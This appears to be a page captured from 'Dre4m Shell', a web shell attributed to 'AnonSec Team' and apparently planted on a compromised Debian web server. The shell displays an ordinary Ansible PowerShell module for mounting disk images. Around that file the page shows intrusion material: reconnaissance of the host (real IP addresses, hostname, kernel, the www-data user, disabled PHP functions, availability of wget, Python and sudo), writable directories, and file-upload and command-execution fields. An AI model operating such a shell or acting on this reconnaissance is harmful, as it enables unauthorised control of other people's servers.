Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.216.207.209
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/windows/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/windows/plugins/modules/win_disk_image.ps1
#!powershell

# Copyright: (c) 2017, Red Hat, Inc.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#Requires -Module Ansible.ModuleUtils.Legacy

$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2

If (-not (Get-Command Get-DiskImage -ErrorAction SilentlyContinue)) {
    Fail-Json -message "win_disk_image requires Windows 8+ or Windows Server 2012+"
}

$parsed_args = Parse-Args $args -supports_check_mode $true

$result = @{ changed = $false }

$image_path = Get-AnsibleParam $parsed_args "image_path" -failifempty $result
$state = Get-AnsibleParam $parsed_args "state" -default "present" -validateset "present", "absent"
$check_mode = Get-AnsibleParam $parsed_args "_ansible_check_mode" -default $false

$di = Get-DiskImage $image_path

If ($state -eq "present") {
    If (-not $di.Attached) {
        $result.changed = $true

        If (-not $check_mode) {
            $di = Mount-DiskImage $image_path -PassThru

            # the actual mount is async, so the CIMInstance result may not immediately contain the data we need
            $retry_count = 0
            While (-not $di.Attached -and $retry_count -lt 5) {
                Start-Sleep -Seconds 1 > $null
                $di = $di | Get-DiskImage
                $retry_count++
            }

            If (-not $di.Attached) {
                Fail-Json $result -message "Timed out waiting for disk to attach"
            }
        }
    }

    # FUTURE: detect/handle "ejected" ISOs
    # FUTURE: support explicit drive letter and NTFS in-volume mountpoints.
    # VHDs don't always auto-assign, and other system settings can prevent automatic assignment

    If ($di.Attached) {
        # only try to get the mount_path if the disk is attached (
        If ($di.StorageType -eq 1) {
            # ISO, we can get the mountpoint directly from Get-Volume
            $drive_letters = ($di | Get-Volume).DriveLetter
        }
        ElseIf ($di.StorageType -in @(2, 3)) {
            # VHD/VHDX, need Get-Disk + Get-Partition to discover mountpoint
            $drive_letters = ($di | Get-Disk | Get-Partition).DriveLetter
        }
        # remove any null entries (no drive letter)
        $drive_letters = $drive_letters | Where-Object { $_ }

        If (-not $drive_letters) {
            Fail-Json -message "Unable to retrieve drive letter from mounted image"
        }

        $result.mount_paths = @($drive_letters | ForEach-Object { "$($_):\" })
    }
}
ElseIf ($state -eq "absent") {
    If ($di.Attached) {
        $result.changed = $true
        If (-not $check_mode) {
            Dismount-DiskImage $image_path > $null
        }
    }
}

Exit-Json $result

Anon7 - 2022
AnonSec Team